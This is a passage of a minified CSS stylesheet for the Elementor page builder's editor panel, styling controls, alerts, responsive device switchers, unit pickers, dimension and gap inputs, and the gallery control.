padding: 10px; font-size: 13px; text-align: center; } .elementor-control-dynamic input { border-start-start-radius: var(--e-a-border-radius); border-start-end-radius: 0; border-end-end-radius: 0; border-end-start-radius: var(--e-a-border-radius); } .elementor-control-dynamic-switcher { display: inline-flex; align-items: center; justify-content: center; flex-shrink: 0; height: 27px; cursor: pointer; border: var(--e-a-border-bold); background: var(--e-a-bg-default); border-inline-start-width: 0; border-start-start-radius: 0; border-start-end-radius: var(--e-a-border-radius); border-end-end-radius: var(--e-a-border-radius); border-end-start-radius: 0; transition: var(--e-a-transition-hover); } .elementor-control-dynamic-switcher:hover { background-color: var(--e-a-bg-hover); color: var(--e-a-color-txt-hover); } .elementor-control-dynamic-switcher.e-control-tool { height: 20px; border: 0; } .elementor-control-dynamic-switcher-wrapper { display: flex; } .elementor-control-dynamic-switcher .eicon-database { font-size: 12px; } .elementor-control-dynamic-value .elementor-control-tag-area, .elementor-control-dynamic-value .elementor-control-dynamic-switcher, .elementor-control-dynamic-value .e-global__popover-toggle { display: none; } .elementor-panel-box-content { padding: 20px 20px 10px; } .elementor-button { display: inline-block; } .elementor-panel-alert { background-color: var(--e-a-bg-primary); padding: 15px; border-inline-start: 3px solid var(--e-a-color-primary); position: relative; font-size: 12px; font-weight: 300; font-style: italic; line-height: 1.5; text-align: start; border-start-start-radius: 0; border-start-end-radius: 3px; border-end-start-radius: 0; border-end-end-radius: 3px; } .elementor-panel-alert a { color: inherit; } .elementor-panel-alert.elementor-panel-alert-info { border-color: var(--e-a-color-info); background: var(--e-a-bg-info); } .elementor-panel-alert.elementor-panel-alert-success { border-color: var(--e-a-color-success); background: var(--e-a-bg-success); } .elementor-panel-alert.elementor-panel-alert-warning { border-inline-start: 3px solid var(--e-a-color-warning); background: var(--e-a-bg-warning); } .elementor-panel-alert.elementor-panel-alert-danger { border-color: var(--e-a-color-danger); background: var(--e-a-bg-danger); } .elementor-descriptor, .elementor-control-field-description { font-size: 11px; font-style: italic; line-height: 1.4; color: var(--e-a-color-txt-muted); } .elementor-controls-popover { display: none; position: absolute; box-shadow: var(--e-a-popover-shadow); border-radius: var(--e-a-border-radius); left: 0; right: 0; margin: -4px auto 5px; padding-block-start: 15px; width: 90%; z-index: 10000; background-color: var(--e-a-bg-default); } .elementor-controls-popover:before { content: ""; position: absolute; top: -16px; left: 22px; border: 8px solid transparent; border-block-end-color: var(--e-a-bg-default); } .elementor-controls-popover div.elementor-control { background-color: transparent; } .elementor-controls-popover div.elementor-control:before { content: none; } #elementor-panel-global .elementor-nerd-box .elementor-nerd-box-icon { margin-block-start: 20px; } .elementor-control { --control-title-size: 12px; position: relative; padding: 0 20px 15px; } .elementor-control a { font-weight: 500; text-decoration: none; border-block-end: 1px dotted transparent; transition: all ease-in-out 0.3s; } .elementor-control a:hover { border-block-end-color: inherit; } .elementor-control .elementor-control-content { display: flex; flex-direction: column; } .elementor-control .elementor-control-title { font-size: var(--control-title-size); line-height: 1; margin-inline-end: 5px; } .elementor-control .elementor-control-title:empty { display: none; } .elementor-control .elementor-control-spinner { display: flex; align-items: center; } .elementor-control.elementor-control-type-divider { padding: 0; } .elementor-control.elementor-control-type-divider .elementor-control-content { border-width: 0; border-block-start: var(--e-a-border); background-color: var(--e-a-bg-default); height: 15px; } .elementor-control.elementor-control-separator-before { padding-block-start: 15px; } .elementor-control.elementor-control-separator-before:before { content: ""; position: absolute; height: 1px; width: calc(100% - 40px); top: 0; right: 20px; background-color: var(--e-a-border-color); } .elementor-control.elementor-control-separator-after:after { content: ""; position: absolute; height: 1px; width: calc(100% - 40px); bottom: 0; right: 20px; background-color: var(--e-a-border-color); } .elementor-control.elementor-control-separator-after + .elementor-control-type-tabs + .elementor-control-separator-default, .elementor-control.elementor-control-separator-after:not(.elementor-hidden-control) + .elementor-control-separator-default { padding-block-start: 15px; } .elementor-control.elementor-control-deprecated { color: var(--e-a-color-warning); } .elementor-control.elementor-control-deprecated .elementor-control-field-description { color: var(--e-a-color-warning); } .elementor-control.elementor-control-hidden-label > * > .elementor-control-title, .elementor-control.elementor-control-hidden-label > * > * > .elementor-control-title { display: none; } .elementor-control.elementor-hidden-control { display: none; } .elementor-control.elementor-control-type-heading .elementor-control-title { font-weight: bold; margin: 0; } body:not(.elementor-device-widescreen) .elementor-control.elementor-control-responsive-widescreen { display: none; } body:not(.elementor-device-desktop) .elementor-control.elementor-control-responsive-desktop { display: none; } body:not(.elementor-device-laptop) .elementor-control.elementor-control-responsive-laptop { display: none; } body:not(.elementor-device-tablet_extra) .elementor-control.elementor-control-responsive-tablet_extra { display: none; } body:not(.elementor-device-tablet) .elementor-control.elementor-control-responsive-tablet { display: none; } body:not(.elementor-device-mobile_extra) .elementor-control.elementor-control-responsive-mobile_extra { display: none; } body:not(.elementor-device-mobile) .elementor-control.elementor-control-responsive-mobile { display: none; } .elementor-control-custom_css_pro .elementor-nerd-box-message, .elementor-control-custom_attributes_pro .elementor-nerd-box-message { margin-block-start: 5px; } .elementor-control.e-open .elementor-panel-heading-toggle .eicon:before, .elementor-control.elementor-active .elementor-panel-heading-toggle .eicon:before, .elementor-panel-category.e-open .elementor-panel-heading-toggle .eicon:before, .elementor-panel-category.elementor-active .elementor-panel-heading-toggle .eicon:before, .elementor-panel-scheme-item.e-open .elementor-panel-heading-toggle .eicon:before, .elementor-panel-scheme-item.elementor-active .elementor-panel-heading-toggle .eicon:before { content: "\e92a"; } .elementor-control:not(.e-open):not(.elementor-active) .elementor-panel-heading-toggle .eicon:before, .elementor-panel-category:not(.e-open):not(.elementor-active) .elementor-panel-heading-toggle .eicon:before, .elementor-panel-scheme-item:not(.e-open):not(.elementor-active) .elementor-panel-heading-toggle .eicon:before { content: "\e909"; } .elementor-panel-heading { display: flex; align-items: center; gap: 5px; height: 48px; padding-inline: 20px; width: 100%; border: 0; border-block-start: var(--e-a-border); border-block-start-width: 2px; background-color: transparent; color: var(--e-a-color-txt-accent); cursor: pointer; } .elementor-panel-heading-toggle { width: 10px; display: flex; flex-direction: column; align-items: center; } .elementor-panel-heading-title { font-weight: bold; } .elementor-panel-heading-promotion { margin-inline-start: auto; } .elementor-panel-heading-promotion a { color: var(--e-a-color-accent-promotion); font-family: "Roboto", sans-serif; font-weight: 500; font-size: 13px; } .elementor-panel-heading-promotion a i { margin-inline-end: 4px; font-size: 14px; } .elementor-panel-heading-promotion a:hover { color: var(--e-a-color-accent-promotion); } .elementor-panel-heading:focus-visible { color: var(--e-a-color-txt-hover); } #elementor-controls .elementor-control-type-section:first-child .elementor-panel-heading { border-block-start: none; } .elementor-control-field { display: flex; align-items: center; } .elementor-label-block > .elementor-control-content > .elementor-control-field { flex-wrap: wrap; } .elementor-label-block > .elementor-control-content > .elementor-control-field > .elementor-control-input-wrapper { width: 100%; max-width: 100%; margin-block-start: 10px; } .elementor-label-block > .elementor-control-content > .elementor-control-field > .elementor-control-input-wrapper > .elementor-choices label { width: auto; flex: 1 1 27px; display: flex; align-items: center; justify-content: center; } .elementor-label-block.elementor-control-hidden-label:not(.elementor-control-dynamic) > .elementor-control-content > .elementor-control-field > .elementor-control-input-wrapper { margin-block-start: 0; } .elementor-label-block.elementor-control-hidden-label.elementor-label-block > .elementor-control-content > .elementor-control-field > .elementor-control-input-wrapper { margin-block-start: 0; } .elementor-label-inline > .elementor-control-content > .elementor-control-field > .elementor-control-title { flex-shrink: 0; max-width: 60%; } .elementor-label-inline > .elementor-control-content > .elementor-control-field > .elementor-control-input-wrapper { margin-inline-start: auto; } .elementor-control-field-description { margin-block-start: 10px; } .elementor-group-control-attachment_alert .elementor-control-field-description { margin-block-start: 0; } .elementor-control-start-end .eicon-h-align-left, .elementor-control-start-end .eicon-h-align-right { transform: rotate(180deg); } .elementor-update-preview { margin: 15px 15px 0; display: flex; align-items: center; } .elementor-update-preview-button-wrapper { flex-grow: 1; text-align: end; } .elementor-update-preview-button { padding: 8px 15px; } .elementor-control-direction-ltr input, .elementor-control-direction-ltr textarea { direction: ltr; } .elementor-control-direction-rtl input, .elementor-control-direction-rtl textarea { direction: rtl; } .elementor-control-responsive-switchers { --selected-option: 0; --pointer-position: var(--selected-option); position: relative; width: 2.5em; height: 2.5em; margin: calc(-2.5em + 12px) 0; margin-inline-end: 5px; } .elementor-control-responsive-switchers__holder { position: absolute; width: 100%; top: 0; background-color: var(--e-a-bg-default); border-radius: var(--e-a-border-radius); transition: 0.15s; border: 1px solid transparent; } .elementor-control-responsive-switchers.elementor-responsive-switchers-open { z-index: 11000; } .elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-responsive-switcher { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-responsive-switcher:hover { color: var(--e-a-color-primary-bold); } .elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-control-responsive-switchers__holder { box-shadow: var(--e-a-dropdown-shadow); } .elementor-responsive-switcher { all: unset; display: flex; align-items: center; justify-content: center; position: relative; z-index: 2; cursor: pointer; height: 0; width: 100%; transform: scale(0); opacity: 0; transition: 0.15s; font-size: 12px; color: inherit; } .elementor-responsive-switcher:hover { color: var(--e-a-color-primary-bold); } .elementor-device-widescreen .elementor-responsive-switcher.elementor-responsive-switcher-widescreen { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-widescreen .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-widescreen { color: var(--e-a-color-primary-bold); } .elementor-device-desktop .elementor-responsive-switcher.elementor-responsive-switcher-desktop { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-desktop .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-desktop { color: var(--e-a-color-primary-bold); } .elementor-device-laptop .elementor-responsive-switcher.elementor-responsive-switcher-laptop { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-laptop .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-laptop { color: var(--e-a-color-primary-bold); } .elementor-device-tablet_extra .elementor-responsive-switcher.elementor-responsive-switcher-tablet_extra { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-tablet_extra .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-tablet_extra { color: var(--e-a-color-primary-bold); } .elementor-device-tablet .elementor-responsive-switcher.elementor-responsive-switcher-tablet { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-tablet .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-tablet { color: var(--e-a-color-primary-bold); } .elementor-device-mobile_extra .elementor-responsive-switcher.elementor-responsive-switcher-mobile_extra { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-mobile_extra .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-mobile_extra { color: var(--e-a-color-primary-bold); } .elementor-device-mobile .elementor-responsive-switcher.elementor-responsive-switcher-mobile { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-mobile .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-mobile { color: var(--e-a-color-primary-bold); } .e-units-wrapper { position: relative; margin-inline-start: auto; } .e-units-wrapper .e-units-switcher { cursor: pointer; font-size: 10px; padding: 0.5em; margin: -0.5em 0; transition: all ease-in-out 0.15s; } .e-units-wrapper .e-units-switcher:hover { color: var(--e-a-color-primary-bold); background-color: var(--e-a-bg-hover); border-radius: var(--e-a-border-radius); } .e-units-wrapper .e-units-switcher:not([data-selected=custom]) i.eicon-edit { display: none; } .e-units-wrapper .e-units-switcher[data-selected=custom] span { display: none; } .e-units-wrapper .e-units-switcher i.eicon-angle-right { transform: rotate(90deg); } .e-units-choices input { display: none; } .e-units-choices input:checked + label { color: var(--e-a-color-primary-bold); } .e-units-choices label { cursor: pointer; display: block; } .e-units-choices { display: none; overflow: hidden; max-height: 0; position: absolute; top: -0.8em; right: -0.5em; width: 2.5em; text-align: center; background-color: var(--e-a-bg-default); border-radius: var(--e-a-border-radius); box-shadow: var(--e-a-dropdown-shadow); animation-timing-function: linear; animation-delay: 0s; animation-fill-mode: forwards; z-index: 11000; } .e-units-choices .elementor-units-choices-label { display: flex; align-items: center; height: 3em; justify-content: center; font-size: 10px; transition: 0.15s; } .e-units-choices .elementor-units-choices-label:hover { color: var(--e-a-color-primary-bold); } .e-units-choices.e-units-choices-open { display: block; animation-duration: 1s; animation-name: e-units-choices-open; } .e-units-custom input { font-family: monospace; font-size: 0.85em; } @keyframes e-units-choices-open { from { max-height: 0; } to { max-height: 100vh; } } .elementor-control-alert { display: flex; flex-direction: column; justify-content: flex-start; align-items: flex-start; gap: 8px; } .elementor-control-alert-heading { font-weight: bold; } .elementor-control-type-button .elementor-control-input-wrapper { text-align: end; } .elementor-control-type-button .elementor-button { width: auto; } .elementor-control-type-button .elementor-button.elementor-button-center { display: block; margin: 0 auto; } .elementor-control-type-choose.elementor-label-block .elementor-choices { width: 100%; } .elementor-choices { display: flex; height: 27px; line-height: 27px; text-align: center; border-spacing: 1px; border-radius: var(--e-a-border-radius); overflow: hidden; } .elementor-choices .elementor-choices-label { border-block-start: var(--e-a-border-bold); border-block-end: var(--e-a-border-bold); border-inline-start: var(--e-a-border-bold); border-inline-end: none; font-size: 12px; transition: var(--e-a-transition-hover); cursor: pointer; overflow: hidden; } .elementor-choices .elementor-choices-label:nth-child(2) { border-start-start-radius: var(--e-a-border-radius); border-end-start-radius: var(--e-a-border-radius); } .elementor-choices .elementor-choices-label:last-child { border-inline-end: var(--e-a-border-bold); border-start-end-radius: var(--e-a-border-radius); border-end-end-radius: var(--e-a-border-radius); } .elementor-choices input { display: none; } .elementor-choices input:hover + .elementor-choices-label { background-color: var(--e-a-bg-hover); } .elementor-choices input.e-choose-placeholder + .elementor-choices-label, .elementor-choices input:checked + .elementor-choices-label { background-color: var(--e-a-bg-active-bold); color: var(--e-a-color-txt-accent); } .elementor-label-inline .elementor-choices { justify-content: flex-end; } .elementor-control-type-color.e-control-global .pickr { border-start-start-radius: 0; border-start-end-radius: var(--e-a-border-radius); border-end-start-radius: 0; border-end-end-radius: var(--e-a-border-radius); flex-shrink: 0; border-color: var(--e-a-border-color-bold); transition: var(--e-a-transition-hover); } .elementor-control-type-color.e-control-global .pickr:hover { background-color: var(--e-a-bg-hover); } .elementor-control-type-color.e-control-global .e-global__popover-toggle:not(.e-global__popover-toggle--active) ~ .pickr { background-color: var(--e-a-bg-active-bold); } .elementor-control-type-color .elementor-control-title { flex-grow: 1; } .elementor-control-type-color .elementor-control-input-wrapper { display: flex; justify-content: flex-end; } .elementor-group-control-css-filter .elementor-slider { height: 6px; box-shadow: 0 0 1px 1px inset rgba(0, 0, 0, 0.2); } .elementor-group-control-css-filter .elementor-control-content > .elementor-control-field > .elementor-control-input-wrapper { margin-block-start: 0; margin-block-end: 5px; } .elementor-group-control-blur .elementor-slider { background: url("../images/blur.png"); background-size: cover; background-position: center; } .elementor-group-control-contrast .elementor-slider { background: url("../images/contrast.png"); background-size: 100% 100%; } .elementor-group-control-hue .elementor-slider { background-image: linear-gradient(to right, red, orange, yellow, greenyellow, limegreen, deepskyblue, blue, darkviolet 95%); } .elementor-group-control-saturate .elementor-slider { background-image: linear-gradient(to right, gray, red); } .elementor-group-control-brightness .elementor-slider { background-image: linear-gradient(to right, black, white); } .elementor-control-responsive-switchers { --selected-option: 0; --pointer-position: var(--selected-option); position: relative; width: 2.5em; height: 2.5em; margin: calc(-2.5em + 12px) 0; margin-inline-end: 5px; } .elementor-control-responsive-switchers__holder { position: absolute; width: 100%; top: 0; background-color: var(--e-a-bg-default); border-radius: var(--e-a-border-radius); transition: 0.15s; border: 1px solid transparent; } .elementor-control-responsive-switchers.elementor-responsive-switchers-open { z-index: 11000; } .elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-responsive-switcher { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-responsive-switcher:hover { color: var(--e-a-color-primary-bold); } .elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-control-responsive-switchers__holder { box-shadow: var(--e-a-dropdown-shadow); } .elementor-responsive-switcher { all: unset; display: flex; align-items: center; justify-content: center; position: relative; z-index: 2; cursor: pointer; height: 0; width: 100%; transform: scale(0); opacity: 0; transition: 0.15s; font-size: 12px; color: inherit; } .elementor-responsive-switcher:hover { color: var(--e-a-color-primary-bold); } .elementor-device-widescreen .elementor-responsive-switcher.elementor-responsive-switcher-widescreen { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-widescreen .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-widescreen { color: var(--e-a-color-primary-bold); } .elementor-device-desktop .elementor-responsive-switcher.elementor-responsive-switcher-desktop { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-desktop .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-desktop { color: var(--e-a-color-primary-bold); } .elementor-device-laptop .elementor-responsive-switcher.elementor-responsive-switcher-laptop { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-laptop .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-laptop { color: var(--e-a-color-primary-bold); } .elementor-device-tablet_extra .elementor-responsive-switcher.elementor-responsive-switcher-tablet_extra { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-tablet_extra .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-tablet_extra { color: var(--e-a-color-primary-bold); } .elementor-device-tablet .elementor-responsive-switcher.elementor-responsive-switcher-tablet { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-tablet .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-tablet { color: var(--e-a-color-primary-bold); } .elementor-device-mobile_extra .elementor-responsive-switcher.elementor-responsive-switcher-mobile_extra { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-mobile_extra .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-mobile_extra { color: var(--e-a-color-primary-bold); } .elementor-device-mobile .elementor-responsive-switcher.elementor-responsive-switcher-mobile { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-mobile .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-mobile { color: var(--e-a-color-primary-bold); } .e-units-wrapper { position: relative; margin-inline-start: auto; } .e-units-wrapper .e-units-switcher { cursor: pointer; font-size: 10px; padding: 0.5em; margin: -0.5em 0; transition: all ease-in-out 0.15s; } .e-units-wrapper .e-units-switcher:hover { color: var(--e-a-color-primary-bold); background-color: var(--e-a-bg-hover); border-radius: var(--e-a-border-radius); } .e-units-wrapper .e-units-switcher:not([data-selected=custom]) i.eicon-edit { display: none; } .e-units-wrapper .e-units-switcher[data-selected=custom] span { display: none; } .e-units-wrapper .e-units-switcher i.eicon-angle-right { transform: rotate(90deg); } .e-units-choices input { display: none; } .e-units-choices input:checked + label { color: var(--e-a-color-primary-bold); } .e-units-choices label { cursor: pointer; display: block; } .e-units-choices { display: none; overflow: hidden; max-height: 0; position: absolute; top: -0.8em; right: -0.5em; width: 2.5em; text-align: center; background-color: var(--e-a-bg-default); border-radius: var(--e-a-border-radius); box-shadow: var(--e-a-dropdown-shadow); animation-timing-function: linear; animation-delay: 0s; animation-fill-mode: forwards; z-index: 11000; } .e-units-choices .elementor-units-choices-label { display: flex; align-items: center; height: 3em; justify-content: center; font-size: 10px; transition: 0.15s; } .e-units-choices .elementor-units-choices-label:hover { color: var(--e-a-color-primary-bold); } .e-units-choices.e-units-choices-open { display: block; animation-duration: 1s; animation-name: e-units-choices-open; } .e-units-custom input { font-family: monospace; font-size: 0.85em; } @keyframes e-units-choices-open { from { max-height: 0; } to { max-height: 100vh; } } .elementor-control-type-dimensions .elementor-control-dimensions { display: flex; } .elementor-control-type-dimensions li { flex: 1; transition: flex-grow 0.3s ease-in-out; } .elementor-control-type-dimensions li input, .elementor-control-type-dimensions li .elementor-link-dimensions { display: block; text-align: center; width: 100%; height: 27px; } .elementor-control-type-dimensions li input { border-inline-start: none; border-radius: 0; padding: var(--e-a-border-radius); } .elementor-control-type-dimensions li input:focus { border-inline-start: var(--e-a-border-bold); margin-inline-start: -1px; width: calc(100% + 1px); } .elementor-control-type-dimensions li input:focus + .elementor-control-dimension-label { color: var(--e-a-color-txt); } .elementor-control-type-dimensions li .elementor-link-dimensions { border: var(--e-a-border-bold); border-inline-start: none; background-color: var(--e-a-bg-default); padding: 0; outline: none; border-start-start-radius: 0; border-start-end-radius: var(--e-a-border-radius); border-end-start-radius: 0; border-end-end-radius: var(--e-a-border-radius); cursor: pointer; } .elementor-control-type-dimensions li:first-child input { border-inline-start: 1px solid var(--e-a-border-color-bold); border-start-start-radius: var(--e-a-border-radius); border-start-end-radius: 0; border-end-start-radius: var(--e-a-border-radius); border-end-end-radius: 0; } .elementor-control-type-dimensions li:first-child input:focus { border-color: var(--e-a-border-color-focus); margin-inline-start: 0; width: 100%; } .elementor-control-type-dimensions li:last-child { max-width: 27px; } .elementor-control-type-dimensions.e-units-custom li.elementor-control-dimension:focus-within { flex: 2.5; } .elementor-control-type-dimensions .elementor-control-dimension-label { color: var(--e-a-color-txt-muted); display: block; text-align: center; font-size: 9px; padding-block-start: 5px; } .elementor-control-type-dimensions .elementor-link-dimensions.unlinked { background-color: var(--e-a-bg-default); } .elementor-control-type-dimensions .elementor-link-dimensions.unlinked .elementor-linked { display: none; } .elementor-control-type-dimensions .elementor-link-dimensions:not(.unlinked) { background-color: var(--e-a-bg-active-bold); color: var(--e-a-color-txt-accent); border-color: var(--e-a-border-color-bold); } .elementor-control-type-dimensions .elementor-link-dimensions:not(.unlinked) .elementor-unlinked { display: none; } .elementor-control-responsive-switchers { --selected-option: 0; --pointer-position: var(--selected-option); position: relative; width: 2.5em; height: 2.5em; margin: calc(-2.5em + 12px) 0; margin-inline-end: 5px; } .elementor-control-responsive-switchers__holder { position: absolute; width: 100%; top: 0; background-color: var(--e-a-bg-default); border-radius: var(--e-a-border-radius); transition: 0.15s; border: 1px solid transparent; } .elementor-control-responsive-switchers.elementor-responsive-switchers-open { z-index: 11000; } .elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-responsive-switcher { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-responsive-switcher:hover { color: var(--e-a-color-primary-bold); } .elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-control-responsive-switchers__holder { box-shadow: var(--e-a-dropdown-shadow); } .elementor-responsive-switcher { all: unset; display: flex; align-items: center; justify-content: center; position: relative; z-index: 2; cursor: pointer; height: 0; width: 100%; transform: scale(0); opacity: 0; transition: 0.15s; font-size: 12px; color: inherit; } .elementor-responsive-switcher:hover { color: var(--e-a-color-primary-bold); } .elementor-device-widescreen .elementor-responsive-switcher.elementor-responsive-switcher-widescreen { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-widescreen .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-widescreen { color: var(--e-a-color-primary-bold); } .elementor-device-desktop .elementor-responsive-switcher.elementor-responsive-switcher-desktop { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-desktop .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-desktop { color: var(--e-a-color-primary-bold); } .elementor-device-laptop .elementor-responsive-switcher.elementor-responsive-switcher-laptop { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-laptop .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-laptop { color: var(--e-a-color-primary-bold); } .elementor-device-tablet_extra .elementor-responsive-switcher.elementor-responsive-switcher-tablet_extra { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-tablet_extra .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-tablet_extra { color: var(--e-a-color-primary-bold); } .elementor-device-tablet .elementor-responsive-switcher.elementor-responsive-switcher-tablet { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-tablet .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-tablet { color: var(--e-a-color-primary-bold); } .elementor-device-mobile_extra .elementor-responsive-switcher.elementor-responsive-switcher-mobile_extra { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-mobile_extra .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-mobile_extra { color: var(--e-a-color-primary-bold); } .elementor-device-mobile .elementor-responsive-switcher.elementor-responsive-switcher-mobile { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-mobile .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-mobile { color: var(--e-a-color-primary-bold); } .e-units-wrapper { position: relative; margin-inline-start: auto; } .e-units-wrapper .e-units-switcher { cursor: pointer; font-size: 10px; padding: 0.5em; margin: -0.5em 0; transition: all ease-in-out 0.15s; } .e-units-wrapper .e-units-switcher:hover { color: var(--e-a-color-primary-bold); background-color: var(--e-a-bg-hover); border-radius: var(--e-a-border-radius); } .e-units-wrapper .e-units-switcher:not([data-selected=custom]) i.eicon-edit { display: none; } .e-units-wrapper .e-units-switcher[data-selected=custom] span { display: none; } .e-units-wrapper .e-units-switcher i.eicon-angle-right { transform: rotate(90deg); } .e-units-choices input { display: none; } .e-units-choices input:checked + label { color: var(--e-a-color-primary-bold); } .e-units-choices label { cursor: pointer; display: block; } .e-units-choices { display: none; overflow: hidden; max-height: 0; position: absolute; top: -0.8em; right: -0.5em; width: 2.5em; text-align: center; background-color: var(--e-a-bg-default); border-radius: var(--e-a-border-radius); box-shadow: var(--e-a-dropdown-shadow); animation-timing-function: linear; animation-delay: 0s; animation-fill-mode: forwards; z-index: 11000; } .e-units-choices .elementor-units-choices-label { display: flex; align-items: center; height: 3em; justify-content: center; font-size: 10px; transition: 0.15s; } .e-units-choices .elementor-units-choices-label:hover { color: var(--e-a-color-primary-bold); } .e-units-choices.e-units-choices-open { display: block; animation-duration: 1s; animation-name: e-units-choices-open; } .e-units-custom input { font-family: monospace; font-size: 0.85em; } @keyframes e-units-choices-open { from { max-height: 0; } to { max-height: 100vh; } } .elementor-control-type-gaps .elementor-control-gaps { display: flex; } .elementor-control-type-gaps li { flex: 1; transition: flex-grow 0.3s ease-in-out; } .elementor-control-type-gaps li input, .elementor-control-type-gaps li .elementor-link-gaps { display: block; text-align: center; width: 100%; height: 27px; } .elementor-control-type-gaps li input { border-inline-start: none; border-radius: 0; padding: var(--e-a-border-radius); } .elementor-control-type-gaps li input:focus { border-inline-start: var(--e-a-border-bold); margin-inline-start: -1px; width: calc(100% + 1px); } .elementor-control-type-gaps li input:focus + .elementor-control-gap-label { color: var(--e-a-color-txt); } .elementor-control-type-gaps li .elementor-link-gaps { border: var(--e-a-border-bold); border-inline-start: none; background-color: var(--e-a-bg-default); padding: 0; outline: none; border-start-start-radius: 0; border-start-end-radius: var(--e-a-border-radius); border-end-start-radius: 0; border-end-end-radius: var(--e-a-border-radius); cursor: pointer; } .elementor-control-type-gaps li:first-child input { border-inline-start: 1px solid var(--e-a-border-color-bold); border-start-start-radius: var(--e-a-border-radius); border-start-end-radius: 0; border-end-start-radius: var(--e-a-border-radius); border-end-end-radius: 0; } .elementor-control-type-gaps li:first-child input:focus { border-color: var(--e-a-border-color-focus); margin-inline-start: 0; width: 100%; } .elementor-control-type-gaps li:last-child { max-width: 27px; } .elementor-control-type-gaps.e-units-custom li.elementor-control-gap:focus-within { flex: 2.5; } .elementor-control-type-gaps .elementor-control-gap-label { color: var(--e-a-color-txt-muted); display: block; text-align: center; font-size: 9px; padding-block-start: 5px; } .elementor-control-type-gaps .elementor-link-gaps.unlinked { background-color: var(--e-a-bg-default); } .elementor-control-type-gaps .elementor-link-gaps.unlinked .elementor-linked { display: none; } .elementor-control-type-gaps .elementor-link-gaps:not(.unlinked) { background-color: var(--e-a-bg-active-bold); color: var(--e-a-color-txt-accent); border-color: var(--e-a-border-color-bold); } .elementor-control-type-gaps .elementor-link-gaps:not(.unlinked) .elementor-unlinked { display: none; } .elementor-control-type-icons .elementor-control-media__preview > * { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); } .elementor-control-type-icons .elementor-control-media__preview i { font-size: 70px; } .elementor-control-type-icons .elementor-control-media__preview svg { height: 75%; } .elementor-control-type-icons .elementor-control-icons--inline__svg i.eicon-upload { font-size: 15px; } .elementor-control-type-gallery .elementor-control-media__content { border: var(--e-a-border-bold); border-radius: 3px; } .elementor-control-type-gallery .elementor-control-gallery-status { font-size: 12px; height: 27px; padding-inline-start: 10px; border-block-end: var(--e-a-border-bold); display: flex; } .elementor-control-type-gallery .elementor-control-gallery-status > * { display: flex; align-items: center; } .elementor-control-type-gallery .elementor-control-gallery-status-title { flex-grow: 1; } .elementor-control-type-gallery .elementor-control-gallery-content { position: relative; overflow: hidden; } .elementor-control-type-gallery .elementor-control-gallery-thumbnails { display: grid; grid-template-columns: repeat(auto-fill, minmax(48px, 1fr)); grid-gap: 10px; cursor: pointer; padding: 10px; } .elementor-control-type-gallery .elementor-control-gallery-thumbnails:hover + .elementor-control-gallery-edit, .elementor-control-type-gallery .elementor-control-gallery-thumbnails:focus + .elementor-control-gallery-edit { opacity: 1; } .elementor-control-type-gallery .elementor-control-gallery-thumbnail { width: 48px; height: 48px; -o-object-fit: cover; object-fit: cover; border: var(--e-a-border); } .elementor-control-type-gallery 